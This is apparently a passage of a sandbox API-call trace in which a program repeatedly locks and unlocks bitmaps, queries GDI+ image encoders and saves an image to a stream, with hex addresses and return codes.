	[0050.707] GdipBitmapUnlockBits (bitmap=0x789ca68, lockedBitmapData=0x26352dc) returned 0x0
	[0050.707] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.707] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a4c70
	[0050.707] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a4c70 | out: encoders=0x77a4c70) returned 0x0
	[0050.708] GdipBitmapLockBits (bitmap=0x789cdb0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26381bc) returned 0x0
	[0050.708] GdipBitmapUnlockBits (bitmap=0x789cdb0, lockedBitmapData=0x26381bc) returned 0x0
	[0050.709] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.709] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a6bb8
	[0050.709] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a6bb8 | out: encoders=0x77a6bb8) returned 0x0
	[0050.709] GdipBitmapLockBits (bitmap=0x789d0f8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2644028) returned 0x0
	[0050.710] GdipBitmapUnlockBits (bitmap=0x789d0f8, lockedBitmapData=0x2644028) returned 0x0
	[0050.710] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.710] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a6bb8
	[0050.710] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a6bb8 | out: encoders=0x77a6bb8) returned 0x0
	[0050.710] GdipBitmapLockBits (bitmap=0x789d440, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2646f08) returned 0x0
	[0050.710] GdipBitmapUnlockBits (bitmap=0x789d440, lockedBitmapData=0x2646f08) returned 0x0
	[0050.710] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.710] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a6bb8
	[0050.711] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a6bb8 | out: encoders=0x77a6bb8) returned 0x0
	[0050.711] GdipBitmapLockBits (bitmap=0x789d788, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2649de8) returned 0x0
	[0050.711] GdipBitmapUnlockBits (bitmap=0x789d788, lockedBitmapData=0x2649de8) returned 0x0
	[0050.711] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.711] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a6bb8
	[0050.711] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a6bb8 | out: encoders=0x77a6bb8) returned 0x0
	[0050.712] GdipBitmapLockBits (bitmap=0x789dad0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x264ccc8) returned 0x0
	[0050.712] GdipBitmapUnlockBits (bitmap=0x789dad0, lockedBitmapData=0x264ccc8) returned 0x0
	[0050.712] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.712] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a6bb8
	[0050.712] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a6bb8 | out: encoders=0x77a6bb8) returned 0x0
	[0050.712] GdipBitmapLockBits (bitmap=0x789de18, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x264fba8) returned 0x0
	[0050.713] GdipBitmapUnlockBits (bitmap=0x789de18, lockedBitmapData=0x264fba8) returned 0x0
	[0050.713] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.713] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a6bb8
	[0050.713] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a6bb8 | out: encoders=0x77a6bb8) returned 0x0
	[0050.714] GdipBitmapLockBits (bitmap=0x789e160, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2652a88) returned 0x0
	[0050.714] GdipBitmapUnlockBits (bitmap=0x789e160, lockedBitmapData=0x2652a88) returned 0x0
	[0050.714] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.714] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a6bb8
	[0050.714] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a6bb8 | out: encoders=0x77a6bb8) returned 0x0
	[0050.715] GdipSaveImageToStream (image=0x74c32c0, stream=0x33c050, clsidEncoder=0x4de9ec*(Data1=0x557cf400, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x0) 
	[0050.716] GdipBitmapLockBits (bitmap=0x789e4a8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2655968) returned 0x0
	[0050.716] GdipBitmapUnlockBits (bitmap=0x789e4a8, lockedBitmapData=0x2655968) returned 0x0
	[0050.716] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.716] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a6bb8
	[0050.716] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a6bb8 | out: encoders=0x77a6bb8) returned 0x0
	[0050.716] GdipBitmapLockBits (bitmap=0x789e7f0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2658848) returned 0x0
	[0050.716] GdipBitmapUnlockBits (bitmap=0x789e7f0, lockedBitmapData=0x2658848) returned 0x0
	[0050.717] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.717] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a6bb8
	[0050.717] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a6bb8 | out: encoders=0x77a6bb8) returned 0x0
	[0050.717] GdipBitmapLockBits (bitmap=0x789eb38, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x265b728) returned 0x0
	[0050.717] GdipBitmapUnlockBits (bitmap=0x789eb38, lockedBitmapData=0x265b728) returned 0x0
	[0050.717] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.717] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a7bb8
	[0050.717] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a7bb8 | out: encoders=0x77a7bb8) returned 0x0
	[0050.718] GdipBitmapLockBits (bitmap=0x789ee80, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x265e608) returned 0x0
	[0050.718] GdipBitmapUnlockBits (bitmap=0x789ee80, lockedBitmapData=0x265e608) returned 0x0
	[0050.718] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.718] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a7bb8
	[0050.718] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a7bb8 | out: encoders=0x77a7bb8) returned 0x0
	[0050.719] GdipBitmapLockBits (bitmap=0x789f1c8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26614e8) returned 0x0
	[0050.719] GdipBitmapUnlockBits (bitmap=0x789f1c8, lockedBitmapData=0x26614e8) returned 0x0
	[0050.719] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.719] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a7bb8
	[0050.719] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a7bb8 | out: encoders=0x77a7bb8) returned 0x0
	[0050.720] GdipBitmapLockBits (bitmap=0x78b8460, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26643c8) returned 0x0
	[0050.720] GdipBitmapUnlockBits (bitmap=0x78b8460, lockedBitmapData=0x26643c8) returned 0x0
	[0050.720] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.720] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a8bb8
	[0050.721] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a8bb8 | out: encoders=0x77a8bb8) returned 0x0
	[0050.721] GdipBitmapLockBits (bitmap=0x78b87a8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26672a8) returned 0x0
	[0050.721] GdipBitmapUnlockBits (bitmap=0x78b87a8, lockedBitmapData=0x26672a8) returned 0x0
	[0050.721] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.721] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a8bb8
	[0050.721] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a8bb8 | out: encoders=0x77a8bb8) returned 0x0
	[0050.722] GdipBitmapLockBits (bitmap=0x78b8af0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x266a188) returned 0x0
	[0050.722] GdipBitmapUnlockBits (bitmap=0x78b8af0, lockedBitmapData=0x266a188) returned 0x0
	[0050.722] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.722] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a8bb8
	[0050.722] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a8bb8 | out: encoders=0x77a8bb8) returned 0x0
	[0050.723] GdipBitmapLockBits (bitmap=0x78b8e38, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x266d068) returned 0x0
	[0050.723] GdipBitmapUnlockBits (bitmap=0x78b8e38, lockedBitmapData=0x266d068) returned 0x0
	[0050.723] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.723] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a8bb8
	[0050.723] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a8bb8 | out: encoders=0x77a8bb8) returned 0x0
	[0050.724] GdipBitmapLockBits (bitmap=0x78b9180, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x266ff48) returned 0x0
	[0050.724] GdipBitmapUnlockBits (bitmap=0x78b9180, lockedBitmapData=0x266ff48) returned 0x0
	[0050.725] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.725] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a8bb8
	[0050.725] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a8bb8 | out: encoders=0x77a8bb8) returned 0x0
	[0050.726] GdipBitmapLockBits (bitmap=0x78b94c8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2684d34) returned 0x0
	[0050.726] GdipBitmapUnlockBits (bitmap=0x78b94c8, lockedBitmapData=0x2684d34) returned 0x0
	[0050.726] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.726] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77a8bb8
	[0050.727] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77a8bb8 | out: encoders=0x77a8bb8) returned 0x0
	[0050.728] GdipBitmapLockBits (bitmap=0x78b9810, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2687c14) returned 0x0
	[0050.728] GdipBitmapUnlockBits (bitmap=0x78b9810, lockedBitmapData=0x2687c14) returned 0x0
	[0050.728] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.728] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77b8bb8
	[0050.728] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77b8bb8 | out: encoders=0x77b8bb8) returned 0x0
	[0050.729] GdipBitmapLockBits (bitmap=0x78b9b58, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x268aaf4) returned 0x0
	[0050.729] GdipBitmapUnlockBits (bitmap=0x78b9b58, lockedBitmapData=0x268aaf4) returned 0x0
	[0050.729] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.729] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77babb8
	[0050.729] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77babb8 | out: encoders=0x77babb8) returned 0x0
	[0050.729] GdipBitmapLockBits (bitmap=0x78b9ea0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x268d9d4) returned 0x0
	[0050.729] GdipBitmapUnlockBits (bitmap=0x78b9ea0, lockedBitmapData=0x268d9d4) returned 0x0
	[0050.730] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.730] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77babb8
	[0050.730] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77babb8 | out: encoders=0x77babb8) returned 0x0
	[0050.730] GdipBitmapLockBits (bitmap=0x78ba1e8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26908b4) returned 0x0
	[0050.731] GdipBitmapUnlockBits (bitmap=0x78ba1e8, lockedBitmapData=0x26908b4) returned 0x0
	[0050.731] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.731] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77bcbb8
	[0050.731] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bcbb8 | out: encoders=0x77bcbb8) returned 0x0
	[0050.731] GdipBitmapLockBits (bitmap=0x78ba530, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2693794) returned 0x0
	[0050.731] GdipBitmapUnlockBits (bitmap=0x78ba530, lockedBitmapData=0x2693794) returned 0x0
	[0050.731] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.731] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77bcbb8
	[0050.731] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bcbb8 | out: encoders=0x77bcbb8) returned 0x0
	[0050.732] GdipBitmapLockBits (bitmap=0x78ba878, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2696674) returned 0x0
	[0050.732] GdipBitmapUnlockBits (bitmap=0x78ba878, lockedBitmapData=0x2696674) returned 0x0
	[0050.732] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.732] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77bcbb8
	[0050.732] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bcbb8 | out: encoders=0x77bcbb8) returned 0x0
	[0050.733] GdipBitmapLockBits (bitmap=0x78babc0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2699554) returned 0x0
	[0050.733] GdipBitmapUnlockBits (bitmap=0x78babc0, lockedBitmapData=0x2699554) returned 0x0
	[0050.733] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.733] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77bdba0
	[0050.733] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bdba0 | out: encoders=0x77bdba0) returned 0x0
	[0050.734] GdipBitmapLockBits (bitmap=0x78baf08, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x269c434) returned 0x0
	[0050.734] GdipBitmapUnlockBits (bitmap=0x78baf08, lockedBitmapData=0x269c434) returned 0x0
	[0050.734] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.734] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77bfba0
	[0050.734] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bfba0 | out: encoders=0x77bfba0) returned 0x0
	[0050.735] GdipBitmapLockBits (bitmap=0x78bb250, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x269f314) returned 0x0
	[0050.735] GdipBitmapUnlockBits (bitmap=0x78bb250, lockedBitmapData=0x269f314) returned 0x0
	[0050.735] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.735] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77bfba0
	[0050.735] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bfba0 | out: encoders=0x77bfba0) returned 0x0
	[0050.735] GdipBitmapLockBits (bitmap=0x78bb598, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26a21f4) returned 0x0
	[0050.736] GdipBitmapUnlockBits (bitmap=0x78bb598, lockedBitmapData=0x26a21f4) returned 0x0
	[0050.736] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.736] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77bfba0
	[0050.736] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bfba0 | out: encoders=0x77bfba0) returned 0x0
	[0050.736] GdipBitmapLockBits (bitmap=0x78bb8e0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26a50d4) returned 0x0
	[0050.737] GdipBitmapUnlockBits (bitmap=0x78bb8e0, lockedBitmapData=0x26a50d4) returned 0x0
	[0050.737] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.737] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77bfba0
	[0050.737] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bfba0 | out: encoders=0x77bfba0) returned 0x0
	[0050.737] GdipBitmapLockBits (bitmap=0x78bbc28, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26a7fb4) returned 0x0
	[0050.737] GdipBitmapUnlockBits (bitmap=0x78bbc28, lockedBitmapData=0x26a7fb4) returned 0x0
	[0050.738] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.738] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77bfba0
	[0050.738] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bfba0 | out: encoders=0x77bfba0) returned 0x0
	[0050.738] GdipBitmapLockBits (bitmap=0x78bbf70, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26aae94) returned 0x0
	[0050.739] GdipBitmapUnlockBits (bitmap=0x78bbf70, lockedBitmapData=0x26aae94) returned 0x0
	[0050.739] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.739] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77bfba0
	[0050.739] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bfba0 | out: encoders=0x77bfba0) returned 0x0
	[0050.739] GdipBitmapLockBits (bitmap=0x78bc2b8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26add74) returned 0x0
	[0050.740] GdipBitmapUnlockBits (bitmap=0x78bc2b8, lockedBitmapData=0x26add74) returned 0x0
	[0050.740] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.740] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77bfba0
	[0050.740] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bfba0 | out: encoders=0x77bfba0) returned 0x0
	[0050.741] GdipBitmapLockBits (bitmap=0x78bc600, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26b0c54) returned 0x0
	[0050.741] GdipBitmapUnlockBits (bitmap=0x78bc600, lockedBitmapData=0x26b0c54) returned 0x0
	[0050.741] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.741] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77bfba0
	[0050.741] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bfba0 | out: encoders=0x77bfba0) returned 0x0
	[0050.742] GdipBitmapLockBits (bitmap=0x78bc948, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26b3b34) returned 0x0
	[0050.742] GdipBitmapUnlockBits (bitmap=0x78bc948, lockedBitmapData=0x26b3b34) returned 0x0
	[0050.742] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.742] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77bfba0
	[0050.742] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bfba0 | out: encoders=0x77bfba0) returned 0x0
	[0050.743] GdipBitmapLockBits (bitmap=0x78bcc90, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26b6a14) returned 0x0
	[0050.743] GdipBitmapUnlockBits (bitmap=0x78bcc90, lockedBitmapData=0x26b6a14) returned 0x0
	[0050.743] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.743] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77bfba0
	[0050.744] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bfba0 | out: encoders=0x77bfba0) returned 0x0
	[0050.744] GdipBitmapLockBits (bitmap=0x78bcfd8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26b98f4) returned 0x0
	[0050.745] GdipBitmapUnlockBits (bitmap=0x78bcfd8, lockedBitmapData=0x26b98f4) returned 0x0
	[0050.745] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.745] LocalAlloc (uFlags=0x0, uBytes=0x410) returned 0x77bfba0
	[0050.745] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bfba0 | out: encoders=0x77bfba0) returned 0x0
	[0050.746] GdipBitmapLockBits (bitmap=0x78bd320, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26bc7d4) returned 0x0
	[0050.747] GdipBitmapUnlockBits (bitmap=0x78bd320, lockedBitmapData=0x26bc7d4) returned 0x0
	[0050.747] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.748] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bfba0 | out: encoders=0x77bfba0) returned 0x0
	[0050.748] GdipBitmapLockBits (bitmap=0x78bd668, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26bf6b4) returned 0x0
	[0050.748] GdipBitmapUnlockBits (bitmap=0x78bd668, lockedBitmapData=0x26bf6b4) returned 0x0
	[0050.749] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.749] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bfba0 | out: encoders=0x77bfba0) returned 0x0
	[0050.749] GdipBitmapLockBits (bitmap=0x78bd9b0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26c2594) returned 0x0
	[0050.750] GdipBitmapUnlockBits (bitmap=0x78bd9b0, lockedBitmapData=0x26c2594) returned 0x0
	[0050.750] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.750] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bfba0 | out: encoders=0x77bfba0) returned 0x0
	[0050.750] GdipBitmapLockBits (bitmap=0x78bdcf8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26c5474) returned 0x0
	[0050.751] GdipBitmapUnlockBits (bitmap=0x78bdcf8, lockedBitmapData=0x26c5474) returned 0x0
	[0050.751] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.751] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bffa0 | out: encoders=0x77bffa0) returned 0x0
	[0050.752] GdipBitmapLockBits (bitmap=0x78be040, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26c8354) returned 0x0
	[0050.752] GdipBitmapUnlockBits (bitmap=0x78be040, lockedBitmapData=0x26c8354) returned 0x0
	[0050.752] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.752] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bffa0 | out: encoders=0x77bffa0) returned 0x0
	[0050.753] GdipBitmapLockBits (bitmap=0x78be388, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26cb234) returned 0x0
	[0050.753] GdipBitmapUnlockBits (bitmap=0x78be388, lockedBitmapData=0x26cb234) returned 0x0
	[0050.753] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.753] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bffa0 | out: encoders=0x77bffa0) returned 0x0
	[0050.753] GdipBitmapLockBits (bitmap=0x78be6d0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26ce114) returned 0x0
	[0050.754] GdipBitmapUnlockBits (bitmap=0x78be6d0, lockedBitmapData=0x26ce114) returned 0x0
	[0050.754] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.754] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bffa0 | out: encoders=0x77bffa0) returned 0x0
	[0050.755] GdipBitmapLockBits (bitmap=0x78bea18, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26d0ff4) returned 0x0
	[0050.755] GdipBitmapUnlockBits (bitmap=0x78bea18, lockedBitmapData=0x26d0ff4) returned 0x0
	[0050.755] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.756] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bffa0 | out: encoders=0x77bffa0) returned 0x0
	[0050.756] GdipBitmapLockBits (bitmap=0x78bed60, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26d3ed4) returned 0x0
	[0050.756] GdipBitmapUnlockBits (bitmap=0x78bed60, lockedBitmapData=0x26d3ed4) returned 0x0
	[0050.756] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.756] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bffa0 | out: encoders=0x77bffa0) returned 0x0
	[0050.757] GdipBitmapLockBits (bitmap=0x78bf0a8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26d6db4) returned 0x0
	[0050.757] GdipBitmapUnlockBits (bitmap=0x78bf0a8, lockedBitmapData=0x26d6db4) returned 0x0
	[0050.757] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.757] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bffa0 | out: encoders=0x77bffa0) returned 0x0
	[0050.758] GdipBitmapLockBits (bitmap=0x78bf3f0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26d9c94) returned 0x0
	[0050.758] GdipBitmapUnlockBits (bitmap=0x78bf3f0, lockedBitmapData=0x26d9c94) returned 0x0
	[0050.758] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.758] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bffa0 | out: encoders=0x77bffa0) returned 0x0
	[0050.758] GdipBitmapLockBits (bitmap=0x78bf738, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26dcb74) returned 0x0
	[0050.759] GdipBitmapUnlockBits (bitmap=0x78bf738, lockedBitmapData=0x26dcb74) returned 0x0
	[0050.759] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.759] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bffa0 | out: encoders=0x77bffa0) returned 0x0
	[0050.759] GdipBitmapLockBits (bitmap=0x78bfa80, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26dfa54) returned 0x0
	[0050.759] GdipBitmapUnlockBits (bitmap=0x78bfa80, lockedBitmapData=0x26dfa54) returned 0x0
	[0050.760] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.761] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bffa0 | out: encoders=0x77bffa0) returned 0x0
	[0050.761] GdipBitmapLockBits (bitmap=0x78bfdc8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26e2934) returned 0x0
	[0050.762] GdipBitmapUnlockBits (bitmap=0x78bfdc8, lockedBitmapData=0x26e2934) returned 0x0
	[0050.762] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
